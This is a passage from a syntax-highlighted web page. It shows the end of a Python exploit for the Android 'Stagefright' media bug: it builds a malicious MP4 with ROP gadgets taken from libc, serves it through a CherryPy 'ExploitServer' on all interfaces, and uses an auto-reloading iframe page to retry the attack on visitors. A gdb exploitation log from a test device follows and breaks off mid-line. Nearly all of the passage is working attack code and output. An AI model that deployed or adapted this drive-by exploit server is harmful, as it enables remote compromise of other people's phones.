spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">trak <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">chunk(<\/code><code class=\"python string\">'stbl'<\/code><code class=\"python plain\">, stbl)<\/code><\/div>\n<div class=\"line number386 index385 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number387 index386 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python keyword\">return<\/code> <code class=\"python plain\">ftyp <\/code><code class=\"python keyword\">+<\/code> <code class=\"python plain\">chunk(<\/code><code class=\"python string\">'trak'<\/code><code class=\"python plain\">, trak)<\/code><\/div>\n<div class=\"line number388 index387 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number389 index388 alt2\"><code class=\"python plain\">index_page <\/code><code class=\"python keyword\">=<\/code> <code class=\"python comments\">'''<\/code><\/div>\n<div class=\"line number390 index389 alt1\"><code class=\"python comments\">&lt;!DOCTYPE html&gt;<\/code><\/div>\n<div class=\"line number391 index390 alt2\"><code class=\"python comments\">&lt;html&gt;<\/code><\/div>\n<div class=\"line number392 index391 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\">&lt;head&gt;<\/code><\/div>\n<div class=\"line number393 index392 alt2\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python comments\">&lt;title&gt;Stagefrightened!&lt;\/title&gt;<\/code><\/div>\n<div class=\"line number394 index393 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\">&lt;\/head&gt;<\/code><\/div>\n<div class=\"line number395 index394 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\">&lt;body&gt;<\/code><\/div>\n<div class=\"line number396 index395 alt1\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python comments\">&lt;script&gt;<\/code><\/div>\n<div class=\"line number397 index396 alt2\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python comments\">window.setTimeout('location.reload(true);', 400);<\/code><\/div>\n<div class=\"line number398 index397 alt1\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python comments\">&lt;\/script&gt;<\/code><\/div>\n<div class=\"line number399 index398 alt2\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python comments\">&lt;iframe src='\/exploit.mp4'&gt;&lt;\/iframe&gt;<\/code><\/div>\n<div class=\"line number400 index399 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\">&lt;\/body&gt;<\/code><\/div>\n<div class=\"line number401 index400 alt2\"><code class=\"python comments\">&lt;\/html&gt;<\/code><\/div>\n<div class=\"line number402 index401 alt1\"><code class=\"python comments\">'''<\/code><\/div>\n<div class=\"line number403 index402 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number404 index403 alt1\"><code class=\"python keyword\">class<\/code> <code class=\"python plain\">ExploitServer(<\/code><code class=\"python functions\">object<\/code><code class=\"python plain\">):<\/code><\/div>\n<div class=\"line number405 index404 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number406 index405 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">exploit_file <\/code><code class=\"python keyword\">=<\/code> <code class=\"python color1\">None<\/code><\/div>\n<div class=\"line number407 index406 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">exploit_count <\/code><code class=\"python keyword\">=<\/code> <code class=\"python value\">0<\/code><\/div>\n<div class=\"line number408 index407 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number409 index408 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python decorator\">@cherrypy<\/code><code class=\"python plain\">.expose<\/code><\/div>\n<div class=\"line number410 index409 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python keyword\">def<\/code> <code class=\"python plain\">index(<\/code><code class=\"python color1\">self<\/code><code class=\"python plain\">):<\/code><\/div>\n<div class=\"line number411 index410 alt2\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python color1\">self<\/code><code class=\"python plain\">.exploit_count <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python value\">1<\/code><\/div>\n<div class=\"line number412 index411 alt1\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python functions\">print<\/code> <code class=\"python string\">'*'<\/code> <code class=\"python keyword\">*<\/code> <code class=\"python value\">80<\/code><\/div>\n<div class=\"line number413 index412 alt2\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python functions\">print<\/code> <code class=\"python string\">'exploit attempt: '<\/code> <code class=\"python keyword\">+<\/code> <code class=\"python functions\">str<\/code><code class=\"python plain\">(<\/code><code class=\"python color1\">self<\/code><code class=\"python plain\">.exploit_count)<\/code><\/div>\n<div class=\"line number414 index413 alt1\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python functions\">print<\/code> <code class=\"python string\">'*'<\/code> <code class=\"python keyword\">*<\/code> <code class=\"python value\">80<\/code><\/div>\n<div class=\"line number415 index414 alt2\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python keyword\">return<\/code> <code class=\"python plain\">index_page<\/code><\/div>\n<div class=\"line number416 index415 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number417 index416 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python decorator\">@cherrypy<\/code><code class=\"python plain\">.expose([<\/code><code class=\"python string\">\"exploit.mp4\"<\/code><code class=\"python plain\">])<\/code><\/div>\n<div class=\"line number418 index417 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python keyword\">def<\/code> <code class=\"python plain\">exploit(<\/code><code class=\"python color1\">self<\/code><code class=\"python plain\">):<\/code><\/div>\n<div class=\"line number419 index418 alt2\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python plain\">cherrypy.response.headers[<\/code><code class=\"python string\">'Content-Type'<\/code><code class=\"python plain\">] <\/code><code class=\"python keyword\">=<\/code> <code class=\"python string\">'video\/mp4'<\/code><\/div>\n<div class=\"line number420 index419 alt1\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python plain\">cherrypy.response.headers[<\/code><code class=\"python string\">'Content-Encoding'<\/code><code class=\"python plain\">] <\/code><code class=\"python keyword\">=<\/code> <code class=\"python string\">'gzip'<\/code><\/div>\n<div class=\"line number421 index420 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number422 index421 alt1\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python keyword\">if<\/code> <code class=\"python color1\">self<\/code><code class=\"python plain\">.exploit_file <\/code><code class=\"python keyword\">is<\/code> <code class=\"python color1\">None<\/code><code class=\"python plain\">:<\/code><\/div>\n<div class=\"line number423 index422 alt2\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python plain\">exploit_uncompressed <\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">exploit_mp4()<\/code><\/div>\n<div class=\"line number424 index423 alt1\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python plain\">with <\/code><code class=\"python functions\">open<\/code><code class=\"python plain\">(<\/code><code class=\"python string\">'exploit_uncompressed.mp4'<\/code><code class=\"python plain\">, <\/code><code class=\"python string\">'wb'<\/code><code class=\"python plain\">) as tmp:<\/code><\/div>\n<div class=\"line number425 index424 alt2\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python plain\">tmp.write(exploit_uncompressed)<\/code><\/div>\n<div class=\"line number426 index425 alt1\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python plain\">os.system(<\/code><code class=\"python string\">'gzip exploit_uncompressed.mp4'<\/code><code class=\"python plain\">)<\/code><\/div>\n<div class=\"line number427 index426 alt2\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python plain\">with <\/code><code class=\"python functions\">open<\/code><code class=\"python plain\">(<\/code><code class=\"python string\">'exploit_uncompressed.mp4.gz'<\/code><code class=\"python plain\">, <\/code><code class=\"python string\">'rb'<\/code><code class=\"python plain\">) as tmp:<\/code><\/div>\n<div class=\"line number428 index427 alt1\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python color1\">self<\/code><code class=\"python plain\">.exploit_file <\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">tmp.read()<\/code><\/div>\n<div class=\"line number429 index428 alt2\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python plain\">os.system(<\/code><code class=\"python string\">'rm exploit_uncompressed.mp4.gz'<\/code><code class=\"python plain\">)<\/code><\/div>\n<div class=\"line number430 index429 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number431 index430 alt2\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python keyword\">return<\/code> <code class=\"python color1\">self<\/code><code class=\"python plain\">.exploit_file<\/code><\/div>\n<div class=\"line number432 index431 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number433 index432 alt2\"><code class=\"python keyword\">def<\/code> <code class=\"python plain\">main():<\/code><\/div>\n<div class=\"line number434 index433 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">find_rop_gadgets(<\/code><code class=\"python string\">'libc.so'<\/code><code class=\"python plain\">)<\/code><\/div>\n<div class=\"line number435 index434 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">with <\/code><code class=\"python functions\">open<\/code><code class=\"python plain\">(<\/code><code class=\"python string\">'exploit.mp4'<\/code><code class=\"python plain\">, <\/code><code class=\"python string\">'wb'<\/code><code class=\"python plain\">) as tmp:<\/code><\/div>\n<div class=\"line number436 index435 alt1\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python plain\">tmp.write(exploit_mp4())<\/code><\/div>\n<div class=\"line number437 index436 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">cherrypy.server.socket_host <\/code><code class=\"python keyword\">=<\/code> <code class=\"python string\">'0.0.0.0'<\/code><\/div>\n<div class=\"line number438 index437 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">cherrypy.quickstart(ExploitServer()) <\/code><\/div>\n<div class=\"line number439 index438 alt2\"><code class=\"python keyword\">if<\/code> <code class=\"python plain\">__name__ <\/code><code class=\"python keyword\">=<\/code><code class=\"python keyword\">=<\/code> <code class=\"python string\">'__main__'<\/code><code class=\"python plain\">:<\/code><\/div>\n<div class=\"line number440 index439 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">main()<\/code><\/div>\n<div class=\"line number441 index440 alt2\"><\/div>\n<div class=\"line number442 index441 alt1\"><code class=\"python comments\">####################################################################################################<\/code><\/div>\n<div class=\"line number443 index442 alt2\"><code class=\"python plain\">Exploitation log on Test Device<\/code><\/div>\n<div class=\"line number444 index443 alt1\"><code class=\"python comments\">####################################################################################################<\/code><\/div>\n<div class=\"line number445 index444 alt2\"><\/div>\n<div class=\"line number446 index445 alt1\"><code class=\"python plain\">(gdb) attach <\/code><code class=\"python value\">24145<\/code><\/div>\n<div class=\"line number447 index446 alt2\"><code class=\"python plain\">Attaching to program: <\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python functions\">bin<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">mediaserver, process <\/code><code class=\"python value\">24145<\/code><\/div>\n<div class=\"line number448 index447 alt1\"><code class=\"python plain\">[New LWP <\/code><code class=\"python value\">24146<\/code><code class=\"python plain\">]<\/code><\/div>\n<div class=\"line number449 index448 alt2\"><code class=\"python plain\">[New LWP <\/code><code class=\"python value\">24147<\/code><code class=\"python plain\">]<\/code><\/div>\n<div class=\"line number450 index449 alt1\"><code class=\"python plain\">[New LWP <\/code><code class=\"python value\">24148<\/code><code class=\"python plain\">]<\/code><\/div>\n<div class=\"line number451 index450 alt2\"><code class=\"python plain\">[New LWP <\/code><code class=\"python value\">24153<\/code><code class=\"python plain\">]<\/code><\/div>\n<div class=\"line number452 index451 alt1\"><code class=\"python plain\">[New LWP <\/code><code class=\"python value\">24154<\/code><code class=\"python plain\">]<\/code><\/div>\n<div class=\"line number453 index452 alt2\"><code class=\"python plain\">[New LWP <\/code><code class=\"python value\">24155<\/code><code class=\"python plain\">]<\/code><\/div>\n<div class=\"line number454 index453 alt1\"><code class=\"python plain\">[New LWP <\/code><code class=\"python value\">24156<\/code><code class=\"python plain\">]<\/code><\/div>\n<div class=\"line number455 index454 alt2\"><code class=\"python plain\">[New LWP <\/code><code class=\"python value\">24157<\/code><code class=\"python plain\">]<\/code><\/div>\n<div class=\"line number456 index455 alt1\"><code class=\"python plain\">[New LWP <\/code><code class=\"python value\">24158<\/code><code class=\"python plain\">]<\/code><\/div>\n<div class=\"line number457 index456 alt2\"><code class=\"python plain\">[New LWP <\/code><code class=\"python value\">24164<\/code><code class=\"python plain\">]<\/code><\/div>\n<div class=\"line number458 index457 alt1\"><code class=\"python plain\">[New LWP <\/code><code class=\"python value\">24165<\/code><code class=\"python plain\">]<\/code><\/div>\n<div class=\"line number459 index458 alt2\"><code class=\"python plain\">[New LWP <\/code><code class=\"python value\">24166<\/code><code class=\"python plain\">]<\/code><\/div>\n<div class=\"line number460 index459 alt1\"><code class=\"python plain\">warning: Could <\/code><code class=\"python keyword\">not<\/code> <code class=\"python plain\">load shared library symbols <\/code><code class=\"python keyword\">for<\/code> <code class=\"python value\">15<\/code> <code class=\"python plain\">libraries, e.g. camera.msm8226.so.<\/code><\/div>\n<div class=\"line number461 index460 alt2\"><code class=\"python plain\">Use the <\/code><code class=\"python string\">\"info sharedlibrary\"<\/code> <code class=\"python plain\">command to see the complete listing.<\/code><\/div>\n<div class=\"line number462 index461 alt1\"><code class=\"python plain\">Do you need <\/code><code class=\"python string\">\"set solib-search-path\"<\/code> <code class=\"python keyword\">or<\/code> <code class=\"python string\">\"set sysroot\"<\/code><code class=\"python plain\">?<\/code><\/div>\n<div class=\"line number463 index462 alt2\"><\/div>\n<div class=\"line number464 index463 alt1\"><code class=\"python plain\">Thread <\/code><code class=\"python value\">1<\/code> <code class=\"python string\">\"mediaserver\"<\/code> <code class=\"python plain\">stopped.<\/code><\/div>\n<div class=\"line number465 index464 alt2\"><code class=\"python value\">0xb6f2d83c<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">__ioctl () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number466 index465 alt1\"><code class=\"python plain\">(gdb) cont<\/code><\/div>\n<div class=\"line number467 index466 alt2\"><code class=\"python plain\">Continuing.<\/code><\/div>\n<div class=\"line number468 index467 alt1\"><code class=\"python plain\">[New LWP <\/code><code class=\"python value\">24305<\/code><code class=\"python plain\">]<\/code><\/div>\n<div class=\"line number469 index468 alt2\"><code class=\"python plain\">[New LWP <\/code><code class=\"python value\">24306<\/code><code class=\"python plain\">]<\/code><\/div>\n<div class=\"line number470 index469 alt1\"><code class=\"python plain\">[New LWP <\/code><code class=\"python value\">24317<\/code><code class=\"python plain\">]<\/code><\/div>\n<div class=\"line number471 index470 alt2\"><code class=\"python plain\">[New LWP <\/code><code class=\"python value\">24322<\/code><code class=\"python plain\">]<\/code><\/div>\n<div class=\"line number472 index471 alt1\"><code class=\"python plain\">[New LWP <\/code><code class=\"python value\">24323<\/code><code class=\"python plain\">]<\/code><\/div>\n<div class=\"line number473 index472 alt2\"><code class=\"python plain\">[New LWP <\/code><code class=\"python value\">24324<\/code><code class=\"python plain\">]<\/code><\/div>\n<div class=\"line number474 index473 alt1\"><code class=\"python plain\">[New LWP <\/code><code class=\"python value\">24326<\/code><code class=\"python plain\">]<\/code><\/div>\n<div class=\"line number475 index474 alt2\"><\/div>\n<div class=\"line number476 index475 alt1\"><code class=\"python plain\">Thread <\/code><code class=\"python value\">1<\/code> <code class=\"python string\">\"mediaserver\"<\/code> <code class=\"python plain\">hit Breakpoint <\/code><code class=\"python value\">3<\/code><code class=\"python plain\">, <\/code><code class=\"python value\">0xb6f05428<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">_longjmp ()<\/code><\/div>\n<div class=\"line number477 index476 alt2\"><code class=\"python spaces\">\u00a0\u00a0\u00a0<\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number478 index477 alt1\"><code class=\"python plain\">(gdb) stepi<\/code><\/div>\n<div class=\"line number479 index478 alt2\"><code class=\"python value\">0xb6f0542c<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">_longjmp () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number480 index479 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number481 index480 alt2\"><code class=\"python value\">0xb6f05430<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">_longjmp () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number482 index481 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number483 index482 alt2\"><code class=\"python value\">0xb6f05434<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">_longjmp () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number484 index483 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number485 index484 alt2\"><code class=\"python value\">0xb6f05438<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">_longjmp () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number486 index485 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number487 index486 alt2\"><code class=\"python value\">0xb6f0543c<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">_longjmp () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number488 index487 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number489 index488 alt2\"><code class=\"python value\">0xb6f05440<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">_longjmp () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number490 index489 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number491 index490 alt2\"><code class=\"python value\">0xb6f05444<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">_longjmp () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number492 index491 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number493 index492 alt2\"><code class=\"python value\">0xb6f47974<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">_Unwind_GetGR () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number494 index493 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number495 index494 alt2\"><code class=\"python value\">0xb6f45338<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">pop () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number496 index495 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number497 index496 alt2\"><code class=\"python value\">0xb6f4835c<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">___Unwind_RaiseException () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number498 index497 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number499 index498 alt2\"><code class=\"python value\">0xb6f48360<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">___Unwind_RaiseException () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number500 index499 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number501 index500 alt2\"><code class=\"python value\">0xb6f48364<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">___Unwind_RaiseException () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number502 index501 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number503 index502 alt2\"><code class=\"python plain\">[New LWP <\/code><code class=\"python value\">24350<\/code><code class=\"python plain\">]<\/code><\/div>\n<div class=\"line number504 index503 alt1\"><code class=\"python plain\">[New LWP <\/code><code class=\"python value\">24349<\/code><code class=\"python plain\">]<\/code><\/div>\n<div class=\"line number505 index504 alt2\"><code class=\"python value\">0xb6f03672<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">__futex_wake_ex.constprop.<\/code><code class=\"python value\">0<\/code> <code class=\"python plain\">() <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number506 index505 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number507 index506 alt2\"><code class=\"python value\">0xb6f0c540<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">mmap64 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number508 index507 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number509 index508 alt2\"><code class=\"python value\">0xb6f0c544<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">mmap64 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number510 index509 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number511 index510 alt2\"><code class=\"python value\">0xb6f0c546<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">mmap64 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number512 index511 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number513 index512 alt2\"><code class=\"python value\">0xb6f0c54a<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">mmap64 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number514 index513 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number515 index514 alt2\"><code class=\"python value\">0xb6f0c54c<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">mmap64 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number516 index515 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number517 index516 alt2\"><code class=\"python value\">0xb6f0c550<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">mmap64 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number518 index517 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number519 index518 alt2\"><code class=\"python value\">0xb6f0c552<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">mmap64 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number520 index519 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number521 index520 alt2\"><code class=\"python value\">0xb6f0c556<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">mmap64 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number522 index521 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number523 index522 alt2\"><code class=\"python value\">0xb6f0c558<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">mmap64 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number524 index523 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number525 index524 alt2\"><code class=\"python value\">0xb6f0c55c<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">mmap64 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number526 index525 